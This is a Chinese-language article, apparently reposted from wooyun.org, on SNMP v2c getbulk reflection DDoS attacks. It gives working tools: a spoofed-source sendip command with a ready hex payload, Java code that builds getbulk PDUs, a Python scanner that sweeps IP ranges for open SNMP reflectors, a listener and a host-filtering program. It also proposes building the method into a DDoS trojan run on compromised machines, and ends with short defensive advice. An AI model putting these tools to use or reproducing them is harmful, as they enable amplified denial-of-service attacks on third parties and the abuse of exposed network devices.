基于snmp的反射攻击的理论及其实现

时间:2014-12-10 16:50 来源:wooyun.org 作者:IT

当时dns反射攻击爆发的时候，我就开始研究snmp的反射攻击（实际可以达到20倍的放大效果），在2013年夏天就已经理论研究完成，后来实现工具化。最后还差规模化（武器化）。其实，是国外在2013年初，就有只言片语叙述snmp的反射攻击，但是没有一篇完整的文章，最近在微博上看到很多朋友转载国外的信息，我觉得，如果再不把自己所研究的放出来刷刷存在感，让我这个rank9的人活不下去了。

0x01背景

罗嗦了这么多，进入正题。

首先反射攻击的基础是向有缺陷的目标发送精心构造的伪造源ip地址的udp包来实现。第二，需要主机和缺陷主机之间有大小不对等的信息交换。一般满足这两个条件就可以来实现反射攻击。

0x02理论

Snmp就不过多介绍了，大家可以百度。Snmp有3个版本，这里攻击最理想的是2c版本，而恰恰2c版本也是应用最广的。

在bt5下可以用snmpwalk或snmpget命令来和snmp主机进行交换数据。

Snmpwalk –c public –v2c IP oid

这里oid是获取snmp具体信息内容的一个标识，snmp里面存的信息是一个树状的信息结构。

其实snmpwalk是获取一条oid信息，但是这个oid里面附带了下一个树节点的oid号，然后snmp会通过 snmpget继续访问下一个oid号（在getnext字段里面），来执行一个类似于循环的行为，但是snmpget的协议大家也看到了，只能获取到一条信息，79的信息长度，只能获得279的反馈，这样实现攻击的放大倍数是不给力的。

关键点来了，根据rfc1441-rfc1452文档说明，snmp第二版里面引入了getbulk来取代反复getnext，用来更好的在单个请求里面获得大量的管理数据。相对应的bt5下还有个snmpbulkget命令

snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid

对应就是获取当前oid后面的70个团体字，这样如果你用snmpwalk跑一个1.3.6的团体字会看到很多信息，而你用bulkget这个一次就可以收到一个包里面包含70条信息的数据包，如图。

这里看到数据包的length大家就会明白了，就是利用这种方式，来获得反射攻击的效果。

这里大家会有个疑问。一个snmp里面会包含n多的信息（上千条肯定有了）为什么这里只用70条，用更多的会返回更多的信息，获得更大的倍数。当然我也想，这么做，可是snmp这协议不像ntp协议直接给你把数据分包返回，而是通过一个包里的不同字段返回多个信息的，所以这里面就会受到网络链路上的mtu这个值的影响，1500这个硬伤是不能越过去的。理论上已经实现了信息不对等的交互了，那么下面就是伪造源ip发udp包的环节了。

此处我用的是sendip这个工具，安装很简单http://www.earth.li/projectpurple/progs/sendip.html

下载源码之后直接在linux下编译安装，这其中可能会遇到编译问题，请参考这里http://blog.csdn.net/figo1986/article/details/7336131

下面看下我用的命令

sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP  -d0x123456789

这里是使用ipv4的协议发送udp包，src_IP 源ip， dst_ip 目的ip，-us udp源端口,-ud udp目的端口，这里snmp默认端口是161，源端口自己随便填，最后部分是数据部分，其实可以直接输入明文的，但是snmp的pdu编码是非常蛋疼的，所以我使用了-d 16进制的形式。

下面是效果，这个包就发到本地吧，这里的源地址就是ddos的反射攻击的被攻击者的地址。

这里看到了效果，为下一步工具化进行了铺垫

最后这个图是虚拟机环境搭的，实现反射攻击的整体图

0x03工具化

首先要解决snmp数据包pdu部分的蛋疼的编码部分，snmp的数据部分是符合基本编码规则（ber）的这里有三篇文章，大家可以完全读懂ber编码和snmp的关系。

http://blog.csdn.net/shanzhizi/article/details/11574849
http://yuanmuqiuyu2000.blog.sohu.com/72641116.html

http://blog.chinaunix.net/uid-23069658-id-3251045.html

对于这个蛋疼的编码，我写了个java程序来生成pdu，里面有注释，大家很好理解的。

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import java.io.UnsupportedEncodingException;

public class SnmpPDUber {

public static String sumlen(String s){

int c=0;

String r="";

String r2="";

s=qukongge(s);

s=s.replaceAll(" ","+");

r=s.replaceAll("\\+","");

//System.out.println(s);

c=r.length()/2;

r2=Integer.toHexString(c); //十进制转换成16进制返回

return subStr(r2);

}

public static String randomtohex(int i) //产生 i 组 16进制随机数

{

String s="";

int k;

for(int j=0;j<i;j++){

k=(int)(1+Math.random()*(254-1+1));

s=s+Integer.toHexString(k)+" ";

}

return s;

}

public static String subStr(String s) // (双位) 0变成00

{

if(s.length()%2==1){

s="0"+s;

}

return s;

}

public static String qukongge(String s){return s.replaceAll(" ","");} //去除空格

public static String toHexString(String s)

{

String str="";

for (int i=0;i<s.length();i++)

{

int ch = (int)s.charAt(i);

String s4 = Integer.toHexString(ch);

str = str +" "+ s4;

}

return str;

}

public static void main(String args[]){

// tag+len+values

String tag="30";//tag标识域 SEQUENCE类型

String len="00";

String values="";//values值域

String versiontag="02";//version tag标识域 INTEGER类型

String versionlen="01";

String versionvalues="01";//version values 00 1版本 01 2c版本

String Communitytag="04";//Community tag标识域 string类型

String Communitylen="00";//Community len长度域

String Communityvalues=args[0];//Community 值域public

System.out.println(Communityvalues);

Communityvalues=toHexString(Communityvalues);

System.out.println(Communityvalues);

String pdutag="a5";//pdu tag 标识域 a5 是 getbulkrequest

String pdulen="00";//pdu len长度域

String pduvalue="";//pdu 值域

String requestid_tag="02";//requestid tag 标识域 INTEGER类型

String requestid_len="04";//requestid len 长度域

String requestid_values="";//8位 16进制随机 ID

String non_repeaters_tag="02";// getbulk 开始段标识域

String non_repeaters_len="01";

String non_repeaters_values="00";//16进制0

String max_repeaters_tag="02";// getbulk 循环段标识域

String max_repeaters_len="01";

String max_repeaters_values="64";// 16进制100

String Variable_tag="30";

String Variable_len="00";

String Variable_value="";

String Item_tag="30";

String Item_len="00";

String Item_values="";

String Object_tag="06";

String Object_len="00";

String Object_values="2b 06 01 02 01";//1.3.6.1.2.1

String value_tag="05";//no error 标识域

String value_len="00";

tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+

non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]

String tmp="";

int j=0;

tmp=value_tag+" "+value_len;

Object_len=sumlen(Object_values);

Item_values=Object_tag+" "+Object_len+" "+Object_values+" "+tmp;

Item_len=sumlen(Item_values);

Variable_value=Item_tag+" "+Item_len+" "+Item_values;

Variable_len=sumlen(Variable_value);

tmp=Variable_tag+" "+Variable_len+" "+Variable_value;

requestid_values=randomtohex(4); //报文随机id后面自带空格，所以下面字符串拼接时候不需要带空格

pduvalue=requestid_tag+" "+requestid_len+" "+requestid_values+non_repeaters_tag+" "+non_repeaters_len+" "+non_repeaters_values+" "+max_repeaters_tag+" "+max_repeaters_len+" "+max_repeaters_values+" "+tmp;

pdulen=sumlen(pduvalue);

tmp=pdutag+" "+pdulen+" "+pduvalue;

Communitylen=sumlen(Communityvalues);

values=versiontag+" "+versionlen+" "+versionvalues+" "+Communitytag+" "+Communitylen+" "+Communityvalues+" "+tmp;

len=sumlen(values);

tmp=tag+" "+len+" "+values;

System.out.println(tmp);

System.out.println("0x"+qukongge(tmp));

/*sendip -v -p ipv4 -is 192.168.1.101 -id 192.168.1.102 -p udp -us 8000 -ud 161 192.168.1.102 -d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/

}

注意：getbulk的循环字段就是对应 snmpbulkget 里面的 –Cr 标识位。

第二为了有一定数量的能进行反射的主机，需要一个给力的扫描器，这里会有人想到用zmap来扫描，但是要知道， udp的扫描可不像tcp那种你发请求连接就肯定会有返回连接的，实测有很多udp程序只要你发的数据不符合他接收的格式时，他是无任何反应和回复的，就和这个ip没开相关端口是一样的效果，snmp也是符合这种情况的，所以需要自己在扫描指定ip的时候发送和正常snmp请求的包一样的数据包，来期盼正常的返回，来证明这个ip是否可以用来反射攻击。不知道大家住没注意到zmap是在不久之前才推出了snmp的扫描模块，这个模块我用过，不是太给力。下面是我用python写的一个循环调用sendip发包的程序，来扫描ip段的，里面的pdu是用刚才java编码程序生成出来的。发出的包用一个自写的java程序监听端口，如果有返回信息，就把返回的ip地址输出到文件。

python 3.4版本的

import os

import time

from pip.backwardcompat import raw_input

__author__ = 'qwe'

class ipScan(object):

def __init__(self, begin, end):

self.begin = begin

self.end = end

def traverseIP(self):

begin_ip = []

end_ip = []

begin = self.begin.split(".")

end = self.end.split(".")

#print(begin,end)

for m in begin:

begin_ip.append(int(m))

for n in end:

end_ip.append(int(n))

a1 = begin_ip[1]

b1 = end_ip[1]

a2 = begin_ip[2]

b2 = end_ip[2]

a3 = begin_ip[3]

b3 = end_ip[3]

print(a1,b1,a2,b2,a3,b3)

for o in range(a1,b1+1):

p=1

q=1

if(o==a1):

p=a2

else:

p=1

if(o==b1):

q=b2

else:

q=254

for m in range(a2, b2 + 1):

i = 1

j = 1

if (m == a2 ):

i = a3

else:

i = 1

if (m == b2):

j = b3

else:

j = 254

for n in range(i, j + 1):

ipstr=(str(begin_ip[0]) + "." + str(o) + "." + str(m) + "." + str(n))

sendip='sendip -p ipv4 -is 192.168.0.108 -id '+ipstr+' -p udp -us 8450 -ud 161 '+ipstr+' -d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'

print(sendip)

os.system(sendip)

time.sleep(0.1)

begin = raw_input("enter begin ip addr: ")

end = raw_input("enter end ip addr: ")

#print (begin,end)

a = ipScan(begin, end)

a.traverseIP()

java监听程序

/**

* Created with IntelliJ IDEA.

* User: Clevo

* Date: 14-3-11

* Time: 下午10:09

* To change this template use File | Settings | File Templates.

import org.bouncycastle.asn1.ASN1InputStream;

import org.bouncycastle.asn1.ASN1Primitive;

import org.bouncycastle.asn1.util.ASN1Dump;

import java.io.ByteArrayInputStream;

import java.io.FileWriter;

import java.io.IOException;

import java.net.*;

public class udpListen {

public static void main(String[] args) {

printReceiveInfomationFromPort(8000);

}

static void printReceiveInfomationFromPort(int port) {

new Thread(new MonitorPortRunnable(port)).start();

}

class MonitorPortRunnable implements Runnable {

byte buf[] = new byte[1024];

DatagramSocket ds = null;

DatagramPacket dp = null;

int localReceivePort ;

public MonitorPortRunnable(int localReceivePort) {

this.localReceivePort = localReceivePort;

}

public static void writefile2(String fileName, String content) {

try {

// 打开一个写文件器，构造函数中的第二个参数true表示以追加形式写文件

FileWriter writer = new FileWriter(fileName, true);

writer.write(content);

writer.close();

} catch (IOException e) {

e.printStackTrace();

}

public void run() {

dp = new DatagramPacket(buf, 0, 1024);

try {

ds = new DatagramSocket(localReceivePort);

} catch (SocketException e1) {

//prompt("本地接收端口已被使用");

System.exit(0);

}

while (true) {

try {

ds.receive(dp);

//System.out.println("信息来自：" + this.localReceivePort);

} catch (IOException e) {

ds.close();

e.printStackTrace();

}

byte[] c=dp.getData();

int c_len=dp.getLength();

String receiveMessage = new String(c, 0, c_len);

String receiveAddr=new String(dp.getAddress().toString());

//System.out.println(receiveMessage);//暂时打印到控制台，一般输出到文件

System.out.println(receiveAddr);

writefile2("result.txt",receiveAddr+"\r\n");

}

最后还有一个java写的结果过滤，其实就是一个snmp的信息获取程序，来筛选可利用的主机或者设备，大家可以增加更多的功能，例如看出口的速度等。

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import java.io.*;

import java.util.Vector;

import org.snmp4j.CommunityTarget;

import org.snmp4j.PDU;

import org.snmp4j.Snmp;

import org.snmp4j.event.ResponseEvent;

import org.snmp4j.mp.SnmpConstants;

import org.snmp4j.smi.OID;

import org.snmp4j.smi.OctetString;

import org.snmp4j.smi.UdpAddress;

import org.snmp4j.smi.VariableBinding;

import org.snmp4j.transport.DefaultUdpTransportMapping;

public class SnmpDATAget {

public static void main(String[] args) throws IOException, InterruptedException {

Snmp snmp = new Snmp(new DefaultUdpTransportMapping());

snmp.listen();

//args[0]="public";

//args[1]="ip.txt";

//args[2]="oid.txt";

CommunityTarget target = new CommunityTarget();

target.setCommunity(new OctetString(args[0]));

target.setVersion(SnmpConstants.version2c);

target.setTimeout(3000); //3s

target.setRetries(1); //重试次数

try {

//String encoding="GBK";

String encoding="UTF-8";

File file=new File(args[1]);

if(file.isFile() && file.exists()){ //判断文件是否存在

InputStreamReader read = new InputStreamReader(

new FileInputStream(file),encoding);//考虑到编码格式

BufferedReader bufferedReader = new BufferedReader(read);

String lineTxt = null;

while((lineTxt = bufferedReader.readLine()) != null){

System.out.print(lineTxt + "@");

target.setAddress(new UdpAddress(lineTxt+"/161"));

sendRequest(snmp, createGetPdu(args[2]), target);

}

read.close();

}else{

System.out.println("找不到指定的文件");

}

} catch (Exception e) {

System.out.println("读取文件内容出错");

e.printStackTrace();

}

private static PDU createGetPdu(String path) {

PDU pdu = new PDU();

pdu.setType(PDU.GET);

try {

//String encoding="GBK";

String encoding="UTF-8";

File file=new File(path);

if(file.isFile() && file.exists()){ //判断文件是否存在

InputStreamReader read = new InputStreamReader(

new FileInputStream(file),encoding);//考虑到编码格式

BufferedReader bufferedReader = new BufferedReader(read);

String lineTxt = null;

while((lineTxt = bufferedReader.readLine()) != null){

pdu.add(new VariableBinding(new OID(lineTxt))); //sysName

//System.out.println(lineTxt);

}

read.close();

}else{

System.out.println("找不到指定的文件"+path);

}

} catch (Exception e) {

System.out.println("读取文件内容出错");

e.printStackTrace();

}

pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0")));

pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.2.0")));

pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.3.0")));

return pdu;

}

private static void sendRequest(Snmp snmp, PDU pdu, CommunityTarget target)

throws IOException {

ResponseEvent responseEvent = snmp.send(pdu, target);

PDU response = responseEvent.getResponse();

if (response == null) {

System.out.println("TimeOut...");

} else {

if (response.getErrorStatus() == PDU.noError) {

Vector<? extends VariableBinding> vbs = response.getVariableBindings();

for (VariableBinding vb : vbs) {

System.out.println(vb + " ," + vb.getVariable().getSyntaxString());

}

} else {

System.out.println("Error:" + response.getErrorStatusText());

}

0x04武器化

这里面sendip可以作为一个模块集成到linux下面的ddos马里面。

好吧让大家失望了，从上面的各种杂牌程序大家不难看出，我是一个不会写程序的人，所以ddos的马部分默默地忽略掉吧，如果有大神会写，我们可以共同研究。

0x05局限性，防御办法和解决办法

第一，需要发包的肉鸡是属于纯外网ip地址，因为一般经过路由或者特殊设置（例如设置：忽略从lan口来的源ip地址不属于本子网的数据包）的三层交换时，此伪造包就会被过滤掉，从而失去效果。解决办法就是找那种可以发伪造包的肉鸡，其实还是很多的，简单点说nat形式为0的，基本都能发。这种肉鸡国外还是不少的。

第二，是混世魔王给我提出来的，能进行反射的主机的数量。这个还是很多的，因为不光有些有需要的linux开snmp，其实linux开snmp的基本都是内网的机器，用来进行性能监控用，更多的是网络上的设备，交换，路由，防火墙等，这些设备从小到大都会有开snmp的，他们所属的带宽大小也会有所不同，百兆千兆甚至万兆以太网口的设备都是会出现的。所以这方面能反射的主机数量不用担心。在上面工具化里面的扫描工具实践一下就可以看出来。

第三，防御办法，开snmp的主机尽量不要暴露在外网，还可以用改默认密码来限制访问，或者改默认161端口。或者禁止响应bulkget的这种包，仅仅响应get方式获取

欢迎各位朋友来指正问题。

(责任编辑：IT)